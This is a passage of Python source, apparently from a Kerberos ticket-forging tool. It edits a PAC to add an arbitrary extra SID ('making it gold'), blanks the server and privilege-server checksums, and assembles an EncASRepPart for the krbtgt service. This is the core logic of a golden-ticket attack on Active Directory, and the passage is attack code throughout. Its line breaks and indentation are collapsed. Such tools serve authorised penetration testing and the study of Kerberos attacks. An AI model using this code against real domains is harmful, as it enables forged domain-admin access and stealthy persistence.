Let's add the extraSid if self.__options.extra_sid is not None: if validationInfo['Data']['SidCount'] == 0: # Let's be sure user's flag specify we have extra sids. validationInfo['Data']['UserFlags'] |= 0x20 validationInfo['Data']['ExtraSids'] = PKERB_SID_AND_ATTRIBUTES_ARRAY() validationInfo['Data']['SidCount'] += 1 sidRecord = KERB_SID_AND_ATTRIBUTES() sid = RPC_SID() sid.fromCanonical(self.__options.extra_sid) sidRecord['Sid'] = sid sidRecord['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED # And, let's append the magicSid validationInfo['Data']['ExtraSids'].append(sidRecord) else: validationInfo['Data']['ExtraSids'] = NULL validationInfoBlob = validationInfo.getData() + validationInfo.getDataReferents() pacInfos[PAC_LOGON_INFO] = validationInfoBlob if logging.getLogger().level == logging.DEBUG: logging.debug('VALIDATION_INFO after making it gold') validationInfo.dump() print ('\n') else: raise Exception('PAC_LOGON_INFO not found! Aborting') logging.info('\tPAC_LOGON_INFO') # Let's now clear the checksums if pacInfos.has_key(PAC_SERVER_CHECKSUM): serverChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_SERVER_CHECKSUM]) if serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value: serverChecksum['Signature'] = '\x00' * 12 elif serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value: serverChecksum['Signature'] = '\x00' * 12 else: serverChecksum['Signature'] = '\x00' * 16 pacInfos[PAC_SERVER_CHECKSUM] = serverChecksum.getData() else: raise Exception('PAC_SERVER_CHECKSUM not found! Aborting') if pacInfos.has_key(PAC_PRIVSVR_CHECKSUM): privSvrChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_PRIVSVR_CHECKSUM]) privSvrChecksum['Signature'] = '\x00' * 12 if privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value: privSvrChecksum['Signature'] = '\x00' * 12 elif privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value: privSvrChecksum['Signature'] = '\x00' * 12 else: privSvrChecksum['Signature'] = '\x00' * 16 pacInfos[PAC_PRIVSVR_CHECKSUM] = privSvrChecksum.getData() else: raise Exception('PAC_PRIVSVR_CHECKSUM not found! Aborting') if pacInfos.has_key(PAC_CLIENT_INFO_TYPE): pacClientInfo = PAC_CLIENT_INFO(pacInfos[PAC_CLIENT_INFO_TYPE]) pacClientInfo['ClientId'] = unixTime pacInfos[PAC_CLIENT_INFO_TYPE] = pacClientInfo.getData() else: raise Exception('PAC_CLIENT_INFO_TYPE not found! Aborting') logging.info('\tPAC_CLIENT_INFO_TYPE') logging.info('\tEncTicketPart') encASRepPart = EncASRepPart() encASRepPart['key'] = None encASRepPart['key']['keytype'] = encTicketPart['key']['keytype'] encASRepPart['key']['keyvalue'] = encTicketPart['key']['keyvalue'] encASRepPart['last-req'] = None encASRepPart['last-req'][0] = None encASRepPart['last-req'][0]['lr-type'] = 0 encASRepPart['last-req'][0]['lr-value'] = KerberosTime.to_asn1(datetime.datetime.utcnow()) encASRepPart['nonce'] = 123456789 encASRepPart['key-expiration'] = KerberosTime.to_asn1(ticketDuration) encASRepPart['flags'] = encodeFlags(flags) encASRepPart['authtime'] = encTicketPart['authtime'] encASRepPart['endtime'] = encTicketPart['endtime'] encASRepPart['starttime'] = encTicketPart['starttime'] encASRepPart['renew-till'] = encTicketPart['renew-till'] encASRepPart['srealm'] = self.__domain.upper() encASRepPart['sname'] = None encASRepPart['sname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value encASRepPart['sname']['name-string'] = None encASRepPart['sname']['name-string'][0] = 'krbtgt' encASRepPart['sname']['name-string'][1] = self.__domain.upper() logging.info('\tEncAsRepPart') return encASRepPart, encTicketPart, pacInfos